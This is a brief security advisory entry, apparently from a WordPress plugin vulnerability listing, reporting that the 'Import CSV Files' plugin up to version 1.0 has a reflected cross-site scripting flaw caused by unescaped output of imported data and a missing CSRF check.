WordPress Plugin Vulnerabilities

Import CSV Files <= 1.0 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escaped imported data before outputting them back in a page, and is lacking CSRF check when performing such action as well, resulting in a Reflected Cross-Site Scripting
